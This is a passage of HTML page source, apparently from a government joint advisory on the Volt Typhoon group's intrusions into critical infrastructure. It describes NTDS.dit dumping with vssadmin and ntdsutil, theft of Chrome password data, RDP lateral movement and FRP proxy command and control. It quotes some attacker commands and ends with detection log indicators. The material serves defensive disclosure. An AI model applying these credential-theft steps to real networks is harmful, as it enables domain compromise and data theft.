  3237. &lt;p&gt;Volt Typhoon also consistently obtains valid credentials by extracting the Active Directory database file (&lt;code&gt;NTDS.dit&lt;/code&gt;)—in some cases multiple times from the same victim over long periods [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/003/" title="OS Credential Dumping: NTDS"&gt;T1003.003&lt;/a&gt;]. &lt;code&gt;NTDS.dit&lt;/code&gt; contains usernames, hashed passwords, and group memberships for all domain accounts, essentially allowing for full domain compromise if the hashes can be cracked offline.&lt;/p&gt;
  3238. &lt;p&gt;To obtain &lt;code&gt;NTDS.dit&lt;/code&gt;, the U.S. authoring agencies have observed Volt Typhoon:&lt;/p&gt;
  3239. &lt;ol&gt;
  3240. &lt;li&gt;Move laterally [&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0008/" title="Lateral Movement"&gt;TA0008&lt;/a&gt;] to the domain controller via an interactive RDP session using a compromised account with domain administrator privileges [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1021/001/" title="Remote Services: Remote Desktop Protocol"&gt;T1021.001&lt;/a&gt;];&lt;/li&gt;
  3241. &lt;li&gt;Execute the Windows-native &lt;code&gt;vssadmin&lt;/code&gt; [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1006/" title="Direct Volume Access"&gt;T1006&lt;/a&gt;] command to create a volume shadow copy;&lt;/li&gt;
  3242. &lt;li&gt;Use Windows Management Instrumentation Console (WMIC) commands [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1047/" title="Windows Management Instrumentation"&gt;T1047&lt;/a&gt;] to execute &lt;code&gt;ntdsutil&lt;/code&gt; (a LOTL utility) to copy &lt;code&gt;NTDS.dit&lt;/code&gt; and &lt;code&gt;SYSTEM&lt;/code&gt; registry hive from the volume shadow copy; and&lt;/li&gt;
  3243. &lt;li&gt;Exfiltrate [&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0010/" title="Exfiltration"&gt;TA0010&lt;/a&gt;] &lt;code&gt;NTDS.dit&lt;/code&gt; and &lt;code&gt;SYSTEM&lt;/code&gt; registry hive to crack passwords offline) [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1110/002/" title="Brute Force: Password Cracking"&gt;T1110.002&lt;/a&gt;]. (For more details, including specific commands used, see Appendix A: Volt Typhoon LOTL Activity.)&lt;br&gt;&lt;strong&gt;Note:&lt;/strong&gt; A volume shadow copy contains a copy of all the files and folders that exist on the specified volume. Each volume shadow copy created on a DC includes its &lt;code&gt;NTDS.dit&lt;/code&gt; and the &lt;code&gt;SYSTEM&lt;/code&gt; registry hive, which provides keys to decrypt the &lt;code&gt;NTDS.dit&lt;/code&gt; file.&lt;/li&gt;
  3244. &lt;/ol&gt;
  3245. &lt;p&gt;Volt Typhoon actors have also been observed interacting with a PuTTY application by enumerating existing stored sessions [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1012/" title="Query Registry"&gt;T1012&lt;/a&gt;]. Given this interaction and the exposure of cleartext-stored proxy passwords used in remote administration, Volt Typhoon actors potentially had access to PuTTY profiles that allow access to critical systems (see the Lateral Movement section).&lt;/p&gt;
  3246. &lt;p&gt;According to industry reporting, Volt Typhoon actors attempted to dump credentials through LSASS (see Appendix B for commands used).[&lt;a href="https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/" title="Volt Typhoon targets US critical infrastructure with living-off-the-land techniques"&gt;2&lt;/a&gt;]&lt;/p&gt;
  3247. &lt;p&gt;The U.S. authoring agencies have observed Volt Typhoon actors leveraging &lt;a href="https://attack.mitre.org/versions/v14/software/S0002/" title="Mimikatz"&gt;Mimikatz&lt;/a&gt; to harvest credentials, and industry partners have observed Volt Typhoon leveraging &lt;a href="https://attack.mitre.org/software/S0357/" title="Impacket"&gt;Impacket&lt;/a&gt;&lt;u&gt;.&lt;/u&gt;[&lt;a href="https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/" title="Volt Typhoon targets US critical infrastructure with living-off-the-land techniques"&gt;2&lt;/a&gt;]&lt;/p&gt;
  3248. &lt;ul&gt;
  3249. &lt;li&gt;Mimikatz is a credential dumping tool and Volt Typhoon actors use it to obtain credentials. In one confirmed compromise, the Volt Typhoon used RDP to connect to a server and run Mimikatz after leveraging a compromised administrator account to deploy it.&lt;/li&gt;
  3250. &lt;li&gt;Impacket is an open source Python toolkit for programmatically constructing and manipulating network protocols. It contains tools for Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks—as well as remote service execution.&lt;/li&gt;
  3251. &lt;/ul&gt;
  3252. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Discovery&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3253. &lt;p&gt;Volt Typhoon actors have been observed using commercial tools, LOTL utilities, and appliances already present on the system for system information [&lt;a href="http://attack.mitre.org/versions/v14/techniques/T1082/" title="System Information Discovery"&gt;T1082&lt;/a&gt;], network service [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1046/" title="Network Service Discovery"&gt;T1046&lt;/a&gt;], group [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1069/" title="Permission Groups Discovery"&gt;T1069&lt;/a&gt;] and user [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1033/" title="System Owner/User Discovery"&gt;T1033&lt;/a&gt;] discovery.&lt;/p&gt;
  3254. &lt;p&gt;Volt Typhoon uses at least the following LOTL tools and commands for system information, network service, group, and user discovery techniques:&lt;/p&gt;
  3255. &lt;table&gt;
  3256. &lt;tbody&gt;
  3257. &lt;tr&gt;
  3258. &lt;td&gt;
  3259. &lt;ul&gt;
  3260. &lt;li&gt;cmd&lt;/li&gt;
  3261. &lt;li&gt;certutil&lt;/li&gt;
  3262. &lt;li&gt;dnscmd&lt;/li&gt;
  3263. &lt;li&gt;ldifde&lt;/li&gt;
  3264. &lt;li&gt;makecab&lt;/li&gt;
  3265. &lt;li&gt;net user/group/use&lt;/li&gt;
  3266. &lt;li&gt;netsh&lt;/li&gt;
  3267. &lt;/ul&gt;
  3268. &lt;/td&gt;
  3269. &lt;td&gt;
  3270. &lt;ul&gt;
  3271. &lt;li&gt;nltest&lt;/li&gt;
  3272. &lt;li&gt;netstat&lt;/li&gt;
  3273. &lt;li&gt;ntdsutil&lt;/li&gt;
  3274. &lt;li&gt;ping&lt;/li&gt;
  3275. &lt;li&gt;PowerShell&lt;/li&gt;
  3276. &lt;li&gt;quser&lt;/li&gt;
  3277. &lt;li&gt;reg query/reg save&lt;/li&gt;
  3278. &lt;/ul&gt;
  3279. &lt;/td&gt;
  3280. &lt;td&gt;
  3281. &lt;ul&gt;
  3282. &lt;li&gt;systeminfo&lt;/li&gt;
  3283. &lt;li&gt;tasklist&lt;/li&gt;
  3284. &lt;li&gt;wevtutil&lt;/li&gt;
  3285. &lt;li&gt;whoami&lt;/li&gt;
  3286. &lt;li&gt;wmic&lt;/li&gt;
  3287. &lt;li&gt;xcopy&lt;/li&gt;
  3288. &lt;/ul&gt;
  3289. &lt;/td&gt;
  3290. &lt;/tr&gt;
  3291. &lt;/tbody&gt;
  3292. &lt;/table&gt;
  3293. &lt;p&gt;Some observed specific examples of discovery include:&lt;/p&gt;
  3294. &lt;ul&gt;
  3295. &lt;li&gt;Capturing successful logon events [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1654/" title="Log Enumeration"&gt;T1654&lt;/a&gt;].
  3296. &lt;ul&gt;
  3297. &lt;li&gt;Specifically, in one incident, analysis of the PowerShell console history of a domain controller indicated that security event logs were directed to a file named &lt;code&gt;user.dat&lt;/code&gt;, as evidenced by the executed command &lt;code&gt;Get-EventLog security -instanceid 4624 -after [year-month-date] | fl * | Out-File 'C:\users\public\documents\user.dat'&lt;/code&gt;. This indicates the group's specific interest in capturing successful logon events (event ID &lt;code&gt;4624&lt;/code&gt;) to analyze user authentication patterns within the network. Additionally, file system analysis, specifically of the Master File Table (MFT), uncovered evidence of a separate file, &lt;code&gt;systeminfo.dat&lt;/code&gt;, which was created in &lt;code&gt;C:\Users\Public\Documents&lt;/code&gt; but subsequently deleted [&lt;a href="https:/attack.mitre.org/versions/v14/techniques/T1070/004/" title="Indicator Removal: File Deletion"&gt;T1070.004&lt;/a&gt;]. The presence of these activities suggests a methodical approach by Volt Typhoon actors in collecting and then possibly removing traces of sensitive log information from the compromised system.&lt;/li&gt;
  3298. &lt;/ul&gt;
  3299. &lt;/li&gt;
  3300. &lt;li&gt;Executing&lt;code&gt; tasklist /v&lt;/code&gt; to gather a detailed process listing [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1057/" title="Process Discovery"&gt;T1057&lt;/a&gt;], followed by executing &lt;code&gt;taskkill /f /im rdpservice.exe&lt;/code&gt; (the function of this executable is not known).&lt;/li&gt;
  3301. &lt;li&gt;Executing &lt;code&gt;net user&lt;/code&gt; and &lt;code&gt;quser&lt;/code&gt; for user account information [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1087/001/"&gt;T1087.001&lt;/a&gt;].&lt;/li&gt;
  3302. &lt;li&gt;Creating and accessing a file named &lt;code&gt;rult3uil.log&lt;/code&gt; on a domain controller in &lt;code&gt;C:\Windows\System32\&lt;/code&gt;. The &lt;code&gt;rult3uil.log&lt;/code&gt; file contained user activities on a compromised system, showcasing a combination of window title information [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1010/" title="Application Window Discovery"&gt;T1010&lt;/a&gt;] and focus shifts, keypresses, and command executions across Google Chrome and Windows PowerShell, with corresponding timestamps.&lt;/li&gt;
  3303. &lt;li&gt;Employing &lt;code&gt;ping&lt;/code&gt; with various IP addresses to check network connectivity [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1016/001/" title="System Network Configuration Discovery: Internet Connection Discovery"&gt;T1016.001&lt;/a&gt;] and &lt;code&gt;net start&lt;/code&gt; to list running services [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1007/" title="System Service Discovery"&gt;T1007&lt;/a&gt;].&lt;/li&gt;
  3304. &lt;/ul&gt;
  3305. &lt;p&gt;See Appendix A for additional LOTL examples.&lt;/p&gt;
  3306. &lt;p&gt;In one confirmed compromise, Volt Typhoon actors attempted to use Advanced IP Scanner, which was on the network for admin use, to scan the network.&lt;/p&gt;
  3307. &lt;p&gt;Volt Typhoon actors have been observed strategically targeting network administrator web browser data—focusing on both browsing history and stored credentials [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1555/003/" title="Credentials from Password Stores: Credentials from Web Browsers"&gt;T1555.003&lt;/a&gt;]—to facilitate targeting of personal email addresses (see the Reconnaissance section) for further discovery and possible network modifications that may impact the threat actor’s persistence within victim networks.&lt;/p&gt;
  3308. &lt;p&gt;In one confirmed compromise:&lt;/p&gt;
  3309. &lt;ul&gt;
  3310. &lt;li&gt;Volt Typhoon actors obtained the history file from the &lt;code&gt;User Data&lt;/code&gt; directory of a network administrator user’s Chrome browser. To obtain the history file, Volt Typhoon actors first executed an RDP session to the user’s workstation where they initially attempted, and failed, to obtain the &lt;code&gt;C$ File Name: users\{redacted}\appdata\local\Google\Chrome\UserData\default\History&lt;/code&gt; file, as evidenced by the accompanying &lt;code&gt;1016&lt;/code&gt; (reopen failed) SMB error listed in the application event log. The threat actors then disconnected the RDP session to the workstation and accessed the file &lt;code&gt;C:\Users\{redacted}\Downloads\History.zip&lt;/code&gt;. This file presumably contained data from the User Data directory of the user’s Chrome browser, which the actors likely saved in the Downloads directory for exfiltration [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1074/" title="Data Staged"&gt;T1074&lt;/a&gt;]. Shortly after accessing the &lt;code&gt;history.zip&lt;/code&gt; file, the actors terminated RDP sessions.&lt;/li&gt;
  3311. &lt;li&gt;About four months later, Volt Typhoon actors accessed the same user’s Chrome data &lt;code&gt;C$ File Name: Users\{redacted}\AppData\Local\Google\Chrome\User Data\Local State&lt;/code&gt; and &lt;code&gt;$ File Name: Users\{redacted}\AppData\Local\Google\Chrome\User Data\Default\Login Data&lt;/code&gt; via SMB. The Local State file contains the Advanced Encryption Standard (AES) encryption key [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1552/004/" title="Unsecured Credentials: Private Keys"&gt;T1552.004&lt;/a&gt;] used to encrypt the passwords stored in the Chrome browser, which would enable the actors to obtain plaintext passwords stored in the Login Data file in the Chrome browser.&lt;/li&gt;
  3312. &lt;/ul&gt;
  3313. &lt;p&gt;In another confirmed compromise, Volt Typhoon actors accessed directories containing Chrome and Edge user data on multiple systems. Directory interaction was observed over the network to paths such as &lt;code&gt;C:\Users\{redacted}\AppData\Local\Google\Chrome\User Data\&lt;/code&gt; and &lt;code&gt;C:\Users\{redacted}\AppData\Local\Microsoft\Edge\User Data\&lt;/code&gt;. They also enumerated several directories, including directories containing vulnerability testing and cyber related content and facilities data, such as construction drawings [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1083/" title="File and Directory Discovery"&gt;T1083&lt;/a&gt;].&lt;/p&gt;
  3314. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Lateral Movement&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3315. &lt;p&gt;For lateral movement, Volt Typhoon actors have been observed predominantly employing RDP with compromised valid administrator credentials. &lt;strong&gt;Note:&lt;/strong&gt; With a full on-premises Microsoft Active Directory identity compromise (see the Credential Access section), the group may be capable of using other methods such as Pass the Hash or Pass the Ticket for lateral movement [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1550/" title="Use Alternate Authentication Material"&gt;T1550&lt;/a&gt;].&lt;/p&gt;
  3316. &lt;p&gt;In one confirmed compromise of a Water and Wastewater Systems Sector entity, after obtaining initial access, Volt Typhoon actors connected to the network via a VPN with administrator credentials they obtained and opened an RDP session with the same credentials to move laterally. Over a nine-month period, they moved laterally to a file server, a domain controller, an Oracle Management Server (OMS), and a VMware vCenter server. The actors obtained domain credentials from the domain controller and performed discovery, collection, and exfiltration on the file server (see the Discovery and Collection and Exfiltration sections).&lt;/p&gt;
  3317. &lt;p&gt;Volt Typhoon’s movement to the vCenter server was likely strategic for pre-positioning to OT assets. The vCenter server was adjacent to OT assets, and Volt Typhoon actors were observed interacting with the PuTTY application on the server by enumerating existing stored sessions. With this information, Volt Typhoon potentially had access to a range of critical PuTTY profiles, including those for water treatment plants, water wells, an electrical substation, OT systems, and network security devices. This would enable them to access these critical systems [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1563/" title="Remote Service Session Hijacking"&gt;T1563&lt;/a&gt;]. See Figure 2.&lt;/p&gt;
  3318.  
  3319.  
  3320.  
  3321. &lt;figure class="c-figure c-figure--image" role="group"&gt;
  3322.  
  3323.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%202%20-%20Volt%20Typhoon%20Lateral%20Movement%20Path%20File%20Server%2C%20DC%2C%20and%20OT-Adjacent%20Assets.png?itok=RmbI_O55" width="1024" height="539" alt="Figure 2: Volt Typhoon Lateral Movement Path File Server, DC, and OT-Adjacent Assets"&gt;
  3324.  
  3325.  
  3326.  
  3327. &lt;/div&gt;
  3328.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 2: Volt Typhoon Lateral Movement Path File Server, DC, and OT-Adjacent Assets&lt;/em&gt;&lt;/figcaption&gt;
  3329.  &lt;/figure&gt;
  3330. &lt;p&gt;Additionally, Volt Typhoon actors have been observed using PSExec to execute remote processes, including the automated acceptance of the end-user license agreement (EULA) through an administrative account, signified by the &lt;code&gt;accepteula&lt;/code&gt; command flag.&lt;/p&gt;
  3331. &lt;p&gt;Volt Typhoon actors may have attempted to move laterally to a cloud environment in one victim’s network but direct attribution to the Volt Typhoon group was inconclusive. During the period of the their known network presence, there were anomalous login attempts to an Azure tenant [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1021/007/" title="Remote Services: Cloud Services"&gt;T1021.007&lt;/a&gt;] potentially using credentials [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/004/" title="Valid Accounts: Cloud Accounts"&gt;T1078.004&lt;/a&gt;] previously compromised from theft of &lt;code&gt;NTDS.dit&lt;/code&gt;. These attempts, coupled with misconfigured virtual machines with open RDP ports, suggested a potential for cloud-based lateral movement. However, subsequent investigations, including password changes and multifactor authentication (MFA) implementations, revealed authentication failures from non-associated IP addresses, with no definitive link to Volt Typhoon.&lt;/p&gt;
  3332. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Collection and Exfiltration&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3333. &lt;p&gt;The U.S. authoring agencies assess Volt Typhoon primarily collects information that would facilitate follow-on actions with physical impacts. For example, in one confirmed compromise, they collected [&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0009/" title="Collection"&gt;TA0009&lt;/a&gt;] sensitive information obtained from a file server in multiple zipped files [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1560/" title="Archive Collected Data"&gt;T1560&lt;/a&gt;] and likely exfiltrated [&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0010/" title="Exfiltration"&gt;TA0010&lt;/a&gt;] the files via Server Message Block (SMB) [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1048/" title="Exfiltration Over Alternative Protocol"&gt;T1048&lt;/a&gt;] (see Figure 3). Collected information included diagrams and documentation related to OT equipment, including supervisory control and data acquisition (SCADA) systems, relays, and switchgear. This data is crucial for understanding and potentially impacting critical infrastructure systems, indicating a focus on gathering intelligence that could be leveraged in actions targeting physical assets and systems.&lt;/p&gt;
  3334.  
  3335.  
  3336.  
  3337. &lt;figure class="c-figure c-figure--image" role="group"&gt;
  3338.  
  3339.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%203%20-%20Volt%20Typhoon%20Attack%20Path%20for%20Exfiltration%20of%20Data%20from%20File%20Server.png?itok=vlIAWkqg" width="1024" height="538" alt="Figure 3: Volt Typhoon Attack Path for Exfiltration of Data from File Server"&gt;
  3340.  
  3341.  
  3342.  
  3343. &lt;/div&gt;
  3344.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 3: Volt Typhoon Attack Path for Exfiltration of Data from File Server&lt;/em&gt;&lt;/figcaption&gt;
  3345.  &lt;/figure&gt;
  3346. &lt;p&gt;In another compromise, Volt Typhoon actors leveraged WMIC to create and use temporary directories (&lt;code&gt;C:\Users\Public\pro&lt;/code&gt;, &lt;code&gt;C:\Windows\Temp\tmp&lt;/code&gt;, &lt;code&gt;C:\Windows\Temp\tmp\Active Directory&lt;/code&gt; and &lt;code&gt;C:\Windows\Temp\tmp\registry&lt;/code&gt;) to stage the extracted &lt;code&gt;ntds.dit&lt;/code&gt; and &lt;code&gt;SYSTEM&lt;/code&gt; registry hives from &lt;code&gt;ntdsutil&lt;/code&gt; execution volume shadow copies (see the Credential Access section) obtained from two DCs. They then compressed and archived the extracted &lt;code&gt;ntds.dit&lt;/code&gt; and accompanying registry files by executing &lt;code&gt;ronf.exe&lt;/code&gt;, which was likely a renamed version of the archive utility &lt;code&gt;rar.exe&lt;/code&gt;) [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1560/001/" title="Archive Collected Data: Archive via Utility"&gt;T1560.001&lt;/a&gt;].&lt;/p&gt;
  3347. &lt;h4&gt;&lt;strong&gt;Command and Control&lt;/strong&gt;&lt;/h4&gt;
  3348. &lt;p&gt;Volt Typhoon actors have been observed leveraging compromised SOHO routers and virtual private servers (VPS) to proxy C2 traffic. For more information, see DOJ press release &lt;a href="https://www.justice.gov/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" title="U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure"&gt;U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure&lt;/a&gt;).&lt;/p&gt;
  3349. &lt;p&gt;They have also been observed setting up FRP clients [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1090/" title="Proxy"&gt;T1090&lt;/a&gt;] on a victim’s corporate infrastructure to establish covert communications channels [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1573/" title="Encrypted Channel"&gt;T1573&lt;/a&gt;] for command and control. In one instance, Volt Typhoon actors implanted the FRP client with filename &lt;code&gt;SMSvcService.exe&lt;/code&gt; on a Shortel Enterprise Contact Center (ECC) server and a second FRP client with filename &lt;code&gt;Brightmetricagent.exe&lt;/code&gt; on another server. These clients, when executed via PowerShell [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/001/" title="Command and Scripting Interpreter: PowerShell"&gt;T1059.001&lt;/a&gt;], open reverse proxies between the compromised system and Volt Typhoon C2 servers. &lt;code&gt;Brightmetricagent.exe&lt;/code&gt; has additional capabilities. The FRP client can locate servers behind a network firewall or obscured through Network Address Translation (NAT) [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1016/" title="System Network Configuration Discovery"&gt;T1016&lt;/a&gt;]. It also contains multiplexer libraries that can bi-directionally stream data over NAT networks and contains a command-line interface (CLI) library that can leverage command shells such as PowerShell, Windows Management Instrumentation (WMI), and Z Shell (zsh) [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/004" title="Command and Scripting Interpreter: Unix Shell"&gt;T1059.004&lt;/a&gt;]. See Appendix C and &lt;a href="https://www.cisa.gov/news-events/analysis-reports/ar24-038a" title="MAR-10448362-1.v1 Volt Typhoon"&gt;MAR-10448362-1.v1&lt;/a&gt; for more information.&lt;/p&gt;
  3350. &lt;p&gt;In the same compromise, Volt Typhoon actors exploited a Paessler Router Traffic Grapher (PRTG) server as an intermediary for their FRP operations. To facilitate this, they used the netsh command, a legitimate Windows command, to create a PortProxy registry modification [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1112" title="Modify Registry"&gt;T1112&lt;/a&gt;] on the PRTG server [&lt;a href="https://attack.mitre.org/techniques/T1090/001/" title="Proxy: Internal Proxy"&gt;T1090.001&lt;/a&gt;]. This key alteration redirected specific port traffic to Volt Typhoon’s proxy infrastructure, effectively converting the PRTG’s server into a proxy for their C2 traffic [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1584/004/" title="Compromise Infrastructure: Server"&gt;T1584.004&lt;/a&gt;] (see Appendix B for details).&lt;/p&gt;
  3351. &lt;h3&gt;&lt;strong&gt;DETECTION/HUNT RECOMMENDATIONS&lt;/strong&gt;&lt;/h3&gt;
  3352. &lt;h4&gt;&lt;strong&gt;Apply Living off the Land Detection Best Practices&lt;/strong&gt;&lt;/h4&gt;
  3353. &lt;p&gt;&lt;strong&gt;Apply the prioritized detection and hardening best practice recommendations provided in joint guide &lt;/strong&gt;&lt;a href="https://www.cisa.gov/resources-tools/resources/identifying-and-mitigating-living-land-techniques" title="Identifying and Mitigating Living off the Land Techniques"&gt;&lt;strong&gt;Identifying and Mitigating Living off the Land Techniques&lt;/strong&gt;&lt;/a&gt;. Many organizations lack security and network management best practices (such as established baselines) that support detection of malicious LOTL activity—this makes it difficult for network defenders to discern legitimate behavior from malicious behavior and conduct behavior analytics, anomaly detection, and proactive hunting. Conventional IOCs associated with the malicious activity are generally lacking, complicating network defenders’ efforts to identify, track, and categorize this sort of malicious behavior. This advisory provides guidance for a multifaceted cybersecurity strategy that enables behavior analytics, anomaly detection, and proactive hunting, which are part of a comprehensive approach to mitigating cyber threats that employ LOTL techniques.&lt;/p&gt;
  3354. &lt;p&gt;Review Application, Security, and System Event Logs&lt;/p&gt;
  3355. &lt;p&gt;&lt;strong&gt;Routinely review application, security, and system event logs, focusing on Windows Extensible Storage Engine Technology (ESENT) Application Logs&lt;/strong&gt;. Due to Volt Typhoon’s ability for long-term undetected persistence, network defenders should assume significant dwell time and review specific application event log IDs, which remain on endpoints for longer periods compared to security event logs and other ephemeral artifacts. Focus on Windows ESENT logs because certain ESENT Application Log event IDs (&lt;code&gt;216&lt;/code&gt;, &lt;code&gt;325&lt;/code&gt;, &lt;code&gt;326&lt;/code&gt;, and &lt;code&gt;327&lt;/code&gt;) may indicate actors copying &lt;code&gt;NTDS.dit&lt;/code&gt;.&lt;/p&gt;
  3356. &lt;p&gt;See Table 1 for examples of ESENT and other key log indicators that should be investigated. Please note that incidents may not always have exact matches listed in the Event Detail column due to variations in event logging and TTPs.&lt;/p&gt;
  3357. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  3358. &lt;caption&gt;&lt;em&gt;Table 1: Key Log Indicators for Detecting Volt Typhoon Activity&lt;/em&gt;&lt;/caption&gt;
  3359. &lt;thead&gt;
  3360. &lt;tr&gt;
  3361. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Event ID (Log)&lt;/strong&gt;&lt;/th&gt;
  3362. &lt;th role="columnheader"&gt;&lt;strong&gt;Event Detail&lt;/strong&gt;&lt;/th&gt;
  3363. &lt;th role="columnheader"&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/th&gt;
  3364. &lt;/tr&gt;
  3365. &lt;/thead&gt;
  3366. &lt;tbody&gt;
  3367. &lt;tr&gt;
  3368. &lt;td&gt;216 (Windows ESENT Application Log)&lt;/td&gt;
  3369. &lt;td&gt;A database location change was detected from 'C:\Windows\NTDS\ntds.dit' to '\\?\GLOBALROOT\Device\{redacted}VolumeShadowCopy1\Windows\NTDS\ntds.dit'&lt;/td&gt;
  3370. &lt;td&gt;A change in the &lt;code&gt;NTDS.dit&lt;/code&gt; database location is detected. This could suggest an initial step in NTDS credential dumping where the database is being prepared for extraction.&lt;/td&gt;
  3371. &lt;/tr&gt;
  3372. &lt;tr&gt;
  3373. &lt;td&gt;325 (Windows ESENT Application Log)&lt;/td&gt;
  3374. &lt;td&gt;The database engine created a new database (2, C:\Windows\Temp\tmp\Active Directory\ntds.dit).&lt;/td&gt;
  3375. &lt;td&gt;Indicates creation of a new &lt;code&gt;NTDS.dit&lt;/code&gt; file in a non-standard directory. Often a sign of data staging for exfiltration. Monitor for unusual database operations in temp directories.&lt;/td&gt;
  3376. &lt;/tr&gt;
  3377. &lt;tr&gt;
  3378. &lt;td&gt;637 (Windows ESENT Application Log)&lt;/td&gt;
  3379. &lt;td&gt;C:\Windows\Temp\tmp\Active Directory\ntds.jfm-++- (0) New flush map file “C:\Windows\Temp\tmp\Active Directory\ntds.jfm” will be created to enable persisted lost flush detection.&lt;/td&gt;
  3380. &lt;td&gt;A new flush map file is being created for &lt;code&gt;NTDS.dit&lt;/code&gt;. This may suggest ongoing operations related to NTDS credential dumping, potentially capturing uncommitted changes to the&lt;code&gt; NTDS.dit&lt;/code&gt; file.&lt;/td&gt;
  3381. &lt;/tr&gt;
  3382. &lt;tr&gt;
  3383. &lt;td&gt;326 (Windows ESENT Application Log)&lt;/td&gt;
  3384. &lt;td&gt;
  3385. &lt;p&gt;NTDS-++-12460,D,100-++--++-1-++-&lt;/p&gt;
  3386. &lt;p&gt;C:\$SNAP_{redacted}_VOLUMEC$\Windows\NTDS\ntds.dit-++-0-++- [1] The database engine attached a database. Began mounting of C:\Windows\NTDS\ntds.dit file created from volume shadow copy process&lt;/p&gt;
  3387. &lt;/td&gt;
  3388. &lt;td&gt;Represents the mounting of an &lt;code&gt;NTDS.dit&lt;/code&gt; file from a volume shadow copy. This is a critical step in NTDS credential dumping, indicating active manipulation of a domain controller’s data.&lt;/td&gt;
  3389. &lt;/tr&gt;
  3390. &lt;tr&gt;
  3391. &lt;td&gt;327 (Windows ESENT Application Log)&lt;/td&gt;
  3392. &lt;td&gt;C:\Windows\Temp\tmp\Active Directory\ntds.dit-++-1-++- [1] The database engine detached a database (2, C:\Windows\Temp\tmp\Active Directory\ntds.dit). Completion of mounting of ntds.dit file to C:\Windows\Temp\tmp\Active Director&lt;/td&gt;
  3393. &lt;td&gt;The detachment of a database, particularly in a temp directory, could indicate the completion of a credential dumping process, potentially as part of exfiltration preparations.&lt;/td&gt;
  3394. &lt;/tr&gt;
  3395. &lt;tr&gt;
  3396. &lt;td&gt;21 (Windows Terminal Services Local Session Manager Operational Log)&lt;/td&gt;
  3397. &lt;td&gt;Remote Desktop Services: Session logon succeeded: User: {redacted}\{redacted} Session ID: {redacted} Source Network Address: {redacted}&lt;/td&gt;
  3398. &lt;td&gt;Successful authentication to a Remote Desktop Services session.&lt;/td&gt;
  3399. &lt;/tr&gt;
  3400. &lt;tr&gt;
  3401. &lt;td&gt;22 (Windows Terminal Services Local Session Manager Operational Log)&lt;/td&gt;
  3402. &lt;td&gt;Remote Desktop Services: Shell start notification received: User: {redacted}\{redacted} Session ID: {redacted} Source Network Address: {redacted}&lt;/td&gt;
  3403. &lt;td&gt;Successful start of a new Remote Desktop session. This may imply lateral movement or unauthorized remote access, especially if the user or session is unexpected.&lt;/td&gt;
  3404. &lt;/tr&gt;
  3405. &lt;tr&gt;
  3406. &lt;td&gt;23 (Windows Terminal Services Local Session Manager Operational Log)&lt;/td&gt;
  3407. &lt;td&gt;Remote Desktop Services: Session logoff succeeded: User: {redacted}\{redacted} Session ID: {redacted}&lt;/td&gt;
  3408. &lt;td&gt;Successful logoff of Remote Desktop session.&lt;/td&gt;
  3409. &lt;/tr&gt;
  3410. &lt;tr&gt;
  3411. &lt;td&gt;24 (Windows Terminal Services Local Session Manager Operational Log)&lt;/td&gt;
  3412. &lt;td&gt;Remote Desktop Services: Session has been disconnected: User: {redacted}\{redacted} Session ID: {redacted} Source Network Address: {redacted}&lt;/td&gt;
  3413. &lt;td&gt;Remote Desktop session disconnected by user or due to network connectivity issues.&lt;/td&gt;
  3414. &lt;/tr&gt;
  3415. &lt;tr&gt;
